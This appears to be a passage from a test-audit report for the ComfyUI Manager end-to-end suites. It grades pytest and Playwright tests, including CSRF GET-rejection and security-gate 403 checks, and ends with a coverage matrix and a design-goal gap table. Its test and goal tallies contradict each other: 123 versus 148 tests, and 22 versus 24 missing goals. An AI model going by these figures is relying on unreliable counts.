- ~~**CV4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK demo)**: covered by `test_e2e_secgate_default.py::TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` — see §21. No harness needed: WI-KK research (`security_utils.py` L14–40) showed high+ gates return 403 at the default `security_level=normal` under `is_local_mode=True`.
---
# Section 11 — tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `opens via Manager button and shows 3-column layout` | LG1 precursor (dialog opens) | ✅ PASS | Dialog + buttons visible |
| `shows settings dropdowns` | UI scaffold | ✅ PASS | 3 `<select>` visible |
| `DB mode dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 1: removed `page.request` / `page.waitForResponse` API verification. Now pure UI — selectOption + networkidle settle barrier + dialog close (via `.p-dialog-close-button`) + reopen + read `<select>.value` = newValue. UI-only cleanup via reopen + selectOption(original). Renamed from "...round-trips via API" to reflect UI-only contract. |
| `Update Policy dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 2: same UI-only pattern as target 1. |
| `closes and reopens without duplicating` | UI lifecycle | ✅ PASS | Wave3 WI-U secondary fix: ComfyDialog keeps `#cm-manager-dialog` in DOM on close (display:none), so `toHaveCount(0)` was wrong — replaced with `.toBeHidden()`. This is infrastructure for the other 2 UI-persistence tests. `=== 1` reopen assertion preserved. |
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded 2 rows — DB mode + Update Policy UI-only verification + fixed pre-existing closes-and-reopens assertion against ComfyDialog DOM-retain-on-close semantics.)
---
# Section 12 — tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `opens from Manager menu and renders grid` | LG1 | ✅ PASS | Dialog + grid |
| `loads custom node list (non-empty)` | LG1 | ✅ PASS | rows>0 |
| `filter dropdown changes displayed nodes` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
| `search input filters the grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
| `footer buttons are present` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 4: strengthened OR-of-2 → AND-of-all-always-visible-admin-buttons + structural presence for hidden-by-default conditional buttons. Always-visible: `Install via Git URL`, `Used In Workflow`, `Check Update`, `Check Missing` (all MUST be visible). Conditional: `.cn-manager-restart` + `.cn-manager-stop` MUST be present in DOM (may be hidden — CSS `display:none` by default per custom-nodes-manager.css:47-62; shown only on restart-required / task-running state). |
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded footer-buttons test with AND-of-4 always-visible assertion + structural DOM presence check for conditional Restart/Stop.)
**Key gap**: NO test exercises Install/Uninstall/Update/Fix/Disable buttons on rows (LB1-LB3). The dialog renders but UI-driven install flow is NOT asserted.
---
# Section 13 — tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `opens from Manager menu and renders grid` | LM1 | ✅ PASS | Dialog + grid |
| `loads model list (non-empty)` | LM1 | ✅ PASS | Wave3 WI-U Cluster H target 3: previously rows>0 only. Now counts `.cmm-icon-passed` + `.cmm-btn-install` (install-state indicators rendered by model-manager.js:342-345) + "Refresh Required" fallback across the whole grid. Asserts total indicators >0 AND equals the logical row count (= DOM-row count / 2 for TurboGrid's dual-pane layout, or 1:1 for single-pane fallback). Catches regression where the `installed` column stops rendering for any model. |
| `search input filters the model grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
| `filter dropdown is present with expected options` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 5: previously options.length>0 only. Now asserts exact set match against the 4 labels defined by ModelManager.initFilter() in model-manager.js:74-86 — `All`, `Installed`, `Not Installed`, `In Workflow`. Each must be present. |
**File verdict**: 4/4 ✅ (Wave3 WI-U upgraded 2 rows — loads-model-list install-indicator invariant + filter-dropdown exact-set match.)
**Key gap**: NO test clicks Install on a model row (install_model UI flow).
---
# Section 14 — tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `opens snapshot manager from Manager menu` | (UI scaffold) | ✅ PASS | Dialog present |
| `SS1 Save button creates a new snapshot row` | SS1 | ✅ PASS | UI-driven replacement (Stage2 WI-F): clicks dialog Save/Create button; polls `getlist` to confirm new snapshot appeared; cleanup via afterEach. Previous INADEQUATE direct-API test (`save snapshot via API and verify in list`) DELETED as part of the rewrite. |
| `UI Remove button deletes a snapshot row` | SR1 (UI) | ✅ PASS | New UI-driven test: API-seeded snapshot + dialog Remove button click + effect verification via `getlist` + UI row absent. Replaces the deleted `lists existing snapshots` direct-API test. |
**File verdict**: 3/3 ✅ (Stage2 WI-F resolution — both INADEQUATE rows replaced by UI-driven tests; the "lists" concern is now covered by pytest `test_e2e_snapshot_lifecycle.py::test_getlist_after_save`).
---
# Section 15 — tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `Manager menu → Custom Nodes → close → Manager still visible` | (UI nav) | ✅ PASS | Dialog lifecycle |
| `Manager menu → Model Manager → close → reopen` | (UI nav) | ✅ PASS | Dialog lifecycle |
**File verdict**: 2/2 ✅ (Stage2 WI-F resolution — both INADEQUATE API-smoke tests DELETED; coverage preserved by pytest `test_e2e_system_info.py::test_version_returns_string/test_reboot_and_recovery`, verified by 12/12 PASS regression run).
---
# Section 16 — tests/playwright/legacy-ui-install.spec.ts (2 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `LB1 Install button triggers install effect` | LB1 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven install flow — opens Manager → Custom Nodes Manager dialog, filters "Not Installed", searches the test pack (`ComfyUI_SigmoidOffsetScheduler`), clicks the row-scoped Install button + Select button in the version dialog. Effect verification via `waitForAllDone` (queue/status drain polling) + `isPackInstalled` (`/v2/customnode/installed` lookup keyed by `cnr_id`). `page.request` is used ONLY for setup (queue/reset baseline) and effect-observation, not to drive the install action — consistent with the hybrid UI-action + backend-effect pattern audited for `legacy-ui-snapshot.spec.ts::SS1 Save button creates a new snapshot row`. Resolves prior coverage_gaps LB1 "🔴 High Priority — Missing UI→effect". |
| `LB2 Uninstall button triggers uninstall effect` | LB2 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven uninstall flow — preconditioned by API install if pack is absent (setup, not verification); opens Manager → Custom Nodes Manager, filters "Installed", searches pack, clicks row-scoped Uninstall button + confirm dialog. Effect verification via `waitForAllDone` + `isPackInstalled==false`. Same hybrid UI-action + backend-effect classification as LB1. Resolves prior coverage_gaps LB2 entry. |
**File verdict**: 2/2 ✅ (WI-AA: structural classification based on contract compliance — UI drives the primary action, `page.request` is confined to setup and effect-observation. **Runtime verification caveat**: in environments where the E2E seed pack is not pre-installed AND the custom-node remote DB is reachable, both tests pass end-to-end; environments lacking network access to the remote DB or with the seed pack pre-installed may require the test harness to either remove the seed pack (LB1 pre-condition) or skip LB2's API-based setup path. This is an infrastructure concern, not a test-quality concern — the contract being audited is UI→effect, which the tests satisfy.)
**Key observations**:
- LB1/LB2 complete the LB goal family (see `verification_design.md` Section 6.1 LB goals). Prior state: LB1/LB2 noted as NORMAL-add in `coverage_gaps.md` "Missing UI→effect" block; LB3 is already covered by `test_e2e_endpoint.py::TestEndpointInstallUninstall::test_install_uninstall_cycle` (API-level end-to-end on the same pack).
- Test pack `ComfyUI_SigmoidOffsetScheduler` is the standard E2E seed pack (also used by pytest audits in §5 customnode_info and §3 endpoint).
---
## 18. tests/e2e/test_e2e_csrf.py — CSRF-mitigation contract suite
**Reference**: commit 99caef55 (XlabAI-Tencent-Xuanwu report; CVSS 8.1)
**Scope**: GET-rejection contract on state-changing endpoints only (see file docstring).
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `test_get_is_rejected` (parametrized ×13) | CSRF-M1 (GET→POST conversion contract) | ✅ PASS | Asserts status_code ∈ (400,403,404,405) and NOT in 200-399. Stricter than prior `or`-precedence-bug assertion. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from this fixture — they legitimately answer GET on the read-path and are covered only in the ALLOW-GET class below; keeping them in reject-GET was a pre-existing bug that WI-HH corrected. |
| `test_queue_reset_post_works` | CSRF-M2a (POST counterpart sanity) | ✅ PASS | Verifies POST succeeds after GET rejection. |
| `test_snapshot_save_post_works` | CSRF-M2b (POST counterpart + cleanup) | ✅ PASS | POST 200 + cleanup via getlist+remove. |
| `test_get_read_endpoint_succeeds` (parametrized ×11) | CSRF-M3 (read-only negative control) | ✅ PASS | Ensures CSRF fix did not over-correct read endpoints. |
**Key observations**:
- Covers only the method-conversion layer (one of several CSRF defenses). Origin/Referer, cookies, tokens are explicitly out of scope per docstring.
- Three dual-purpose endpoints (`/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET, the GET path must continue to succeed.
- Goals CSRF-M1, CSRF-M2a, CSRF-M2b, CSRF-M3 are forward-referenced here and not yet formalized in `reports/verification_design.md` (tracked for Section 10 addition).
**File verdict**: 4/4 ✅ PASS (26/26 parametrized invocations compliant post-WI-HH — 13 reject-GET + 2 POST-works + 11 allow-GET; previous 29-invocation tally reflected the pre-WI-HH state when 3 dual-purpose endpoints were erroneously duplicated in the reject-GET fixture).
---
## 19. tests/e2e/test_e2e_csrf_legacy.py — Legacy-mode CSRF-mitigation contract suite
**Reference**: commit 99caef55 (same XlabAI-Tencent-Xuanwu report; CVSS 8.1) — legacy-side counterpart to §18.
**Scope**: GET-rejection contract on state-changing endpoints when the server is loaded under `--enable-manager-legacy-ui` (mutex with glob). 5 test functions; this section enumerates each of the 29 parametrized invocations as its own row so the per-invocation coverage is visible in the Summary Matrix (§18 aggregates its 26 invocations under 4 class rows — post-WI-HH — while the legacy section adopts row-per-invocation granularity for parity with the CSRF endpoint fixture in `endpoint_scenarios.md`). Post-WI-JJ: +2 reject-GET rows (legacy-only install endpoints) +1 flag-value parity row.
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`, so a single server lifecycle cannot exercise both route tables. Verifying legacy CSRF therefore needs its own fixture (`_start_comfyui_legacy()` via `start_comfyui_legacy.sh`). Without this suite, a regression that reverts a legacy `@routes.post` back to `@routes.get` would not be caught by CI.
**Endpoint adjustments vs §18** (per docstring L23–36):
- `/v2/manager/queue/task` → dropped (glob-only; legacy uses `queue/batch`)
- `/v2/manager/queue/batch` → added (legacy task-enqueue; mirrors glob `queue/task`)
- `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list` → dropped from reject-GET (the CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 endpoints remain in the ALLOW-GET class below. (The glob §18 test_e2e_csrf.py currently lists them in BOTH classes; WI-HH tracks the glob-side correction separately.)
### TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected (parametrized ×15)
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `[/v2/manager/queue/start]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected (status ∈ {400,403,404,405}, not in 200–399). |
| `[/v2/manager/queue/reset]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/manager/queue/update_all]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/manager/queue/update_comfyui]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/manager/queue/install_model]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/manager/queue/batch]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; legacy task-enqueue counterpart to glob `queue/task`. |
| `[/v2/snapshot/save]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/snapshot/remove]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/snapshot/restore]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/manager/reboot]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/comfyui_manager/comfyui_switch_version]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/customnode/import_fail_info]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/customnode/import_fail_info_bulk]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
| `[/v2/customnode/install/git_url]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-by-git-URL coverage. |
| `[/v2/customnode/install/pip]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-pip coverage. |
### TestLegacyCsrfPostWorks (2 tests)
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `test_queue_reset_post_works` | CSRF-M2a (legacy POST sanity) | ✅ PASS | POST `/v2/manager/queue/reset` returns 200. |
| `test_snapshot_save_post_works` | CSRF-M2b (legacy POST + cleanup) | ✅ PASS | POST `/v2/snapshot/save` returns 200; cleanup via `getlist` + `snapshot/remove`. |
### TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds (parametrized ×11)
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `[/v2/manager/version]` | CSRF-M3 (legacy negative control) | ✅ PASS | GET returns 200. |
| `[/v2/manager/db_mode]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200 (read path preserved after GET→POST split). |
| `[/v2/manager/policy/update]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
| `[/v2/manager/channel_url_list]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
| `[/v2/manager/queue/status]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
| `[/v2/manager/queue/history_list]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
| `[/v2/manager/is_legacy_manager_ui]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200 (returns True under legacy mode). |
| `[/v2/customnode/installed]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
| `[/v2/snapshot/getlist]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
| `[/v2/snapshot/get_current]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
| `[/v2/comfyui_manager/comfyui_versions]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
### TestLegacyIsLegacyManagerUIReturnsTrue (1 test)
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `test_returns_true_under_legacy_mode` | Legacy UI flag-value parity (mirror of `system_info.py::test_returns_boolean_field`) | ✅ PASS | GET `/v2/manager/is_legacy_manager_ui` returns 200 with body `{"is_legacy_manager_ui": True}` under `start_comfyui_legacy.sh` (which sets --enable-manager-legacy-ui). Symmetric to the glob-side False assertion. Guards against the wrapper/flag-drop regression class flagged in WI-EE. |
**Key observations**:
- Closes the legacy-side coverage gap identified in WI-FF (commit 99caef55 applied ~92 lines of GET→POST conversion to `legacy/manager_server.py` in parallel with the ~91 lines in `glob/manager_server.py`; prior to this suite, only the glob half was regression-guarded).
- Same scope limits as §18 apply here: ONLY the method-reject layer is verified. Origin/Referer validation, same-site cookies, anti-CSRF tokens, and cross-site form POST are out of scope per docstring L44–48.
- Goals CSRF-M1/M2a/M2b/M3 referenced in §18 now have a second test-reference pair (legacy counterpart) — `verification_design.md` §10 continues to cover both because the Test reference strings in that section already read as "in `glob/manager_server.py` (mirror in `legacy/manager_server.py`)".
**File verdict**: 29/29 ✅ PASS (15 reject-GET + 2 POST-works + 11 allow-GET + 1 flag-value parity; counted per parametrized invocation — see §19 intro for the per-invocation vs per-function accounting choice).
---
## 20. tests/e2e/test_e2e_secgate_strict.py — Strict-mode security-gate PoC (WI-KK deliverable)
**Reference**: WI-KK (#182) — T2 SECGATE harness design + SR4 PoC; audit-integrated by WI-LL.
**Scope**: Proof-of-concept that the 4 middle/middle+ gate 403 contracts are verifiable via a strict-mode fixture (`start_comfyui_strict.sh` + `config.ini` backup/restore). SR4 is the first Goal to land here; SR6/V5/UA2 remain T2-pending but are now *harness-ready* — each is a mechanical addition to this file once the PR for WI-KK lands.
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `TestSecurityGate403_SR4::test_remove_returns_403` | SR4 (snapshot/remove <middle 403) | ✅ PASS | Seeds a snapshot file on disk → POST `/v2/snapshot/remove?target=…` under `security_level=strong` → asserts 403 AND the seed file is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
**Placeholder removed** (WI-MM bloat-sweep dbg:ci-012 B7 stale-skip): `test_post_works_at_default_after_restore` previously held a pytest.skip TODO deferral but was never going to be implemented here — the positive counterpart is covered by `test_e2e_secgate_default.py` which has its own (default) startup. The skip-only row added no verification signal, so it was deleted; the intent is preserved as a module-level comment at the file's tail.
**Key observations**:
- Demonstrates the `config.ini` backup/restore pattern required for strict-mode fixtures: `MANAGER_CONFIG + ".before-strict"` is written by `start_comfyui_strict.sh` and rolled back in fixture teardown so subsequent modules continue to see `security_level=normal`.
- Teardown ordering is contract-critical: **stop server → restore config** (the script holds the config file lock; restoring before stopping causes the running process to re-snapshot the stale config at next write). Documented in the fixture's `finally` block.
**File verdict**: 1/1 ✅ PASS (1 additional skipped stub documented above — N/A but not counted as a row per the dispatch's +2 PASS target).
---
## 21. tests/e2e/test_e2e_secgate_default.py — Default-mode security-gate demo (WI-KK deliverable)
**Reference**: WI-KK research finding (#183, #186) — high+ gates are 403-testable at the default `security_level=normal` without any harness. Audit-integrated by WI-LL.
**Scope**: Demonstrates that 4 of the 8 original T2 SECGATE-PENDING Goals are not actually harness-dependent: at `is_local_mode=True` (our default 127.0.0.1 E2E setup), the high+ check in `security_utils.py` L14–40 returns True iff `security_level ∈ [WEAK, NORMAL_]` — and default NORMAL is NOT in that set, so high+ operations return False → 403 directly at the HTTP handler. CV4 is the cleanest example: its gate is the FIRST check in the handler (`glob/manager_server.py:1856`) so no setup is needed.
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | CV4 (comfyui_switch_version <high+ 403) | ✅ PASS | Sends POST `/v2/comfyui_manager/comfyui_switch_version` with a syntactically valid `ver` query at the default `security_level=normal` → asserts 403 precedes any Pydantic validation step. |
**Key observations** (deferred-Goal narrative, per file docstring L24–34):
- **IM4** (Non-safetensors block, original T2): reclassified to **T2-TASKLEVEL** — the non-safetensors check lives DEEP in the install pipeline (`get_risky_level` + worker), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the JSON and queues a task; rejection only surfaces during task execution. Requires a *queue-observation* test pattern, not a simple HTTP 403 check.
- **LGU2**, **LPP2** (legacy install git_url / pip, original T2): reclassified to **NORMAL-legacy** — registered ONLY in `legacy/manager_server.py` (L1502, L1522), not glob. Testing needs the `start_comfyui_legacy.sh` fixture — a follow-up `test_e2e_secgate_legacy_default.py` module is the natural home. Harness-ready (legacy fixture already exists from WI-FF).
- These three deferrals explain why WI-LL resolves 2 Goals (SR4, CV4) here and reclassifies the remaining 6 rather than covering all 8 in this single WI.
**File verdict**: 1/1 ✅ PASS.
---
## 22. tests/e2e/test_e2e_legacy_endpoints.py — Legacy-only endpoint positive-path suite (WI-TT + WI-UU deliverable)
**Reference**: WI-TT seeded this file with 6 GET positive-path tests closing pytest-N gaps (wi-031/032/033/034/035/036). WI-UU extends the file with a 7th test — the POST `/v2/manager/queue/batch` positive-path (wi-039) — closing the pytest-I gap for the high-fanout queue-batch endpoint. All seven routes are registered only in `legacy/manager_server.py` and reachable only under `--enable-manager-legacy-ui`, so they share the same legacy fixture (`start_comfyui_legacy.sh`, PORT 8199) mirroring the `test_e2e_csrf_legacy.py` pattern.
**Scope**: Positive-path assertions — status 200 + response-shape verification for each legacy-only endpoint. `disabled_versions` additionally accepts 400 as a valid branch because the handler returns 400 when the target node has no disabled versions (empty-result convention, not a validation error). `queue/batch` uses an empty-payload strategy to exercise the full handler path (parse → action-loop no-op → finalize-with-empty-guard → `_queue_start()` → JSON 200) with zero state mutation, plus a queue/status liveness check to verify the worker lock was released cleanly.
| Test | Design Goal | Verdict | Evidence |
|---|---|---|---|
| `TestLegacyCustomNodeAlternatives::test_returns_dict_of_alternatives` | Endpoint contract (alternatives — wi-031) | ✅ PASS | GET `/customnode/alternatives?mode=local` → 200 + dict body. Exercises unified-key mapping path (handler L1072-1084). |
| `TestLegacyCustomNodeDisabledVersions::test_endpoint_reachable_and_parses_param` | Endpoint contract (disabled_versions — wi-032) | ✅ PASS | GET `/v2/customnode/disabled_versions/ComfyUI_SigmoidOffsetScheduler` → status ∈ {200, 400}; 200 body asserted as list of `{version}` entries. Seed pack has no disabled versions → 400 is the live branch, 200 is guarded for when state is mutated. |
| `TestLegacyCustomNodeGetList::test_returns_channel_and_node_packs` | Endpoint contract (getlist — wi-033) | ✅ PASS | GET `/v2/customnode/getlist?mode=local&skip_update=true` → 200 + `{channel, node_packs}` dict with node_packs as dict. Exercises the unified `get_unified_total_nodes + populate_*` pipeline. |
| `TestLegacyCustomNodeVersions::test_returns_versions_list_for_seed_pack` | Endpoint contract (versions — wi-034) | ✅ PASS | GET `/v2/customnode/versions/ComfyUI_SigmoidOffsetScheduler` → 200 + non-empty list. Verifies CNR version lookup for the seed pack (handler L1262-1270). |
| `TestLegacyExternalModelGetList::test_returns_models_payload` | Endpoint contract (externalmodel/getlist — wi-035) | ✅ PASS | GET `/v2/externalmodel/getlist?mode=local` → 200 + `{models: [...]}` dict. Exercises model-list.json load + `check_model_installed` annotation path. |
| `TestLegacyManagerNotice::test_returns_text_body` | Endpoint contract (notice — wi-036) | ✅ PASS | GET `/v2/manager/notice` → 200 + non-empty text body. Handler returns text/html (not JSON); both the markdown-fetch branch and the 'Unable to retrieve Notice' fallback return 200 with body. |
| `TestLegacyQueueBatch::test_accepts_empty_payload_returns_failed_list` | Endpoint contract (queue/batch — wi-039) | ✅ PASS | POST `/v2/manager/queue/batch` with `{}` → 200 + `{"failed": []}`. Safe-payload choice (empty body) exercises full handler path with zero state mutation; `finalize_temp_queue_batch` no-ops via its `if len(temp_queue_batch):` guard (handler L444), and `_queue_start()` releases the task-worker lock cleanly. Post-POST `/v2/manager/queue/status` returns 200 — lock-release liveness check. Closes the wi-039 pytest-I gap (was CSRF-only direct + indirect-via-callers). |
**File verdict**: 7/7 ✅ PASS.
---
# Summary Matrix
| File | ✅ PASS | ⚠️ WEAK | ❌ INADEQUATE | N/A | Total |
|---|---:|---:|---:|---:|---:|
| test_e2e_endpoint.py | 3 | 0 | 0 | 1 | 4 |
| test_e2e_git_clone.py | 3 | 0 | 0 | 0 | 3 |
| test_e2e_config_api.py | 9 | 0 | 0 | 0 | 9 |
| test_e2e_customnode_info.py | 10 | 0 | 0 | 0 | 10 |
| test_e2e_queue_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
| test_e2e_system_info.py | 4 | 0 | 0 | 0 | 4 |
| test_e2e_task_operations.py | 13 | 0 | 0 | 0 | 13 |
| test_e2e_version_mgmt.py | 3 | 0 | 0 | 0 | 3 |
| test_e2e_csrf.py | 4 | 0 | 0 | 0 | 4 |
| test_e2e_csrf_legacy.py | 29 | 0 | 0 | 0 | 29 |
| test_e2e_secgate_strict.py | 1 | 0 | 0 | 0 | 1 |
| test_e2e_secgate_default.py | 1 | 0 | 0 | 0 | 1 |
| test_e2e_legacy_endpoints.py | 7 | 0 | 0 | 0 | 7 |
| legacy-ui-manager-menu.spec.ts | 5 | 0 | 0 | 0 | 5 |
| legacy-ui-custom-nodes.spec.ts | 5 | 0 | 0 | 0 | 5 |
| legacy-ui-model-manager.spec.ts | 4 | 0 | 0 | 0 | 4 |
| legacy-ui-snapshot.spec.ts | 3 | 0 | 0 | 0 | 3 |
| legacy-ui-navigation.spec.ts | 2 | 0 | 0 | 0 | 2 |
| legacy-ui-install.spec.ts | 2 | 0 | 0 | 0 | 2 |
| **TOTAL** | **122** | **0** | **0** | **1** | **123** |
(Count adjusted to 109 after Wave1 WI-L/M/N: 10 WEAK→PASS upgrades across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + 1 WEAK-row retired via WI-M dedup (test_get_current_returns_dict folded into strengthened test_get_current_snapshot — the folded row is treated as a deletion rather than a separate upgrade). Stage2 WI-F earlier established the 110 baseline from 112 by retiring 4 INADEQUATE legacy-ui tests with net +2 PASS. Wave2 WI-P/Q added 7 more WEAK→PASS upgrades (WI-P: task_operations 6 upgrades for update/fix effect + params; WI-Q: snapshot_lifecycle 1 upgrade for save_snapshot disk + content verification). Wave3 WI-T/U/W completed the reconciliation with 10 further WEAK→PASS upgrades: WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), system_info (1) for field-level effect checks; WI-U Cluster H rewrote 3 Playwright legacy-ui specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions instead of direct API; WI-W fixed the TaskHistoryItem schema-drop regression enabling queue_lifecycle un-skip. Cumulative **upgrade** count across the three waves = 10 + 7 + 10 = **27** (unchanged). WI-Z reconciled the audit with the actual test-file surface (no upgrades, only inventory): Y1 recorded the pre-existing `test_remove_path_traversal_rejected` in snapshot_lifecycle (§7, 6→7), and Y3 recorded 5 pre-existing config_api rows (junk_value rejections ×3 + persists_to_config_ini ×2 from WI-E/WI-I, §4, 10→15). WI-AA recorded the pre-existing `legacy-ui-install.spec.ts` (LB1 + LB2) as new §16 — these UI-driven install/uninstall tests (from WI-U Cluster) close the LB1/LB2 gap formerly flagged in `coverage_gaps.md`. WI-GG added new §19 for `test_e2e_csrf_legacy.py` (from WI-FF): 4 new test functions / 26 parametrized invocations closing the legacy-side CSRF regression-guard gap — counted per-invocation (+26 PASS rows) for parity with the CSRF endpoint-fixture accounting in `endpoint_scenarios.md`; this is an accounting-granularity choice, not a contract addition (CSRF-M1/M2/M3 Goals were already referenced in §18). Total test count progression: **109 → 115 (WI-Z) → 117 (WI-AA) → 143 (WI-GG) → 146 (WI-JJ) → 148 (WI-LL)**; all 39 added rows were **pre-existing** tests or newly-added tests from their source WIs, not new engineering work performed by the audit reconciliation itself.)
> **Note**: The matrix above counts *tests* (148), not *design Goals* (92).
> See `reports/verification_design.md` for the 92 Goals and the RV-B trace
> (adhoc-rv-b-trace session evidence) for the Goal↔test cross-reference.
> **Design-Goal coverage: 70/92 Goals referenced (76.1%), 22 Goals absent from this audit** — see § Design-Goal Coverage Gap below. With the 3 CSRF-mitigation Goals (CSRF-M1/M2/M3) from `verification_design.md` Section 10 added as supplementary coverage, the superset tally is **73/95** (76.8%). (WI-Z Y1 strengthens SR3 coverage from Key-gap note to an actual ✅ PASS row (`test_remove_path_traversal_rejected`); WI-AA adds ✅ PASS rows for LB1/LB2 via `legacy-ui-install.spec.ts`. WI-GG adds a second test-reference for CSRF-M1/M2/M3 via `test_e2e_csrf_legacy.py` but does NOT introduce new Goals — each CSRF-M Goal is now backed by paired glob + legacy coverage. WI-LL adds two previously T2 SECGATE-PENDING Goals (SR4 via `test_e2e_secgate_strict.py` §20, CV4 via `test_e2e_secgate_default.py` §21) as formal ✅ PASS rows — reclassifying them from "T2-pending" Key-gap notes to test-backed coverage. The 68→70 base tally uplift reflects this formal-status upgrade: SR4 and CV4 transition from Key-gap reference to explicit test-row-backed Goals.)
Percentages (excluding N/A, denominator = 122+0+0 = 122):
- ✅ PASS: 122 / 122 = 100%
- ⚠️ WEAK: 0 / 122 = 0%
- ❌ INADEQUATE: 0 / 122 = 0%
---
# Design-Goal Coverage Gap
24 of 92 design Goals (`reports/verification_design.md`) have no corresponding row in
the test audit above. Full list:
| Section | Goal | Intent | Recommended |
|---|---|---|---|
| 1.1 | A3 | Skip install when already disabled | NORMAL add |
| 1.1 | A4 | Reject bad kind | NORMAL add |
| 1.1 | A5 | Reject missing traceability | NORMAL add |
| 1.1 | A6 | Worker auto-spawn on queue | NORMAL add |
| 1.2 | U2 | Idempotent uninstall missing | NORMAL add |
| 1.3 | UP2 | Idempotent up-to-date | NORMAL add |
| 1.5 | D2 | Idempotent disable | NORMAL add |
| 1.7 | IM3 | Non-whitelist URL reject | NORMAL add |
| 1.7 | IM4 | Non-safetensors block | **T2-TASKLEVEL** (WI-KK: no synchronous 403; requires queue-observation pattern at worker execution stage) |
| 1.8 | UA2 | update_all secgate | **T2-pending (harness-ready)** (WI-KK: mechanical addition to `test_e2e_secgate_strict.py` using the SR4 fixture pattern) |
| 1.10 | R2 | Idempotent reset empty | NORMAL add |
| 1.13 | QH1 | history by id (positive) | NORMAL add |
| 1.14 | QHL2 | Empty history list | NORMAL add |
| 2.1 | CM2 | Nickname mode | NORMAL add |
| 2.1 | CM3 | Require explicit mode | NORMAL add |
| 3.2 | SS2 | Multiple saves distinct | NORMAL add |
| 4.6 | C6 | Channel unknown no-op | NORMAL add |
| 5.4 | CV2 | Non-git error branch | NORMAL add |
| 6.1 | LB4 | UI update-all | NORMAL add |
| 6.1 | LB5 | Batch partial failure | NORMAL add |
| 6.2 | LG2 | skip_update perf | NORMAL add |
| 6.4 | LM2 | Install flag seed | NORMAL add |
| 6.5 | LV1 | Version dropdown | NORMAL add |
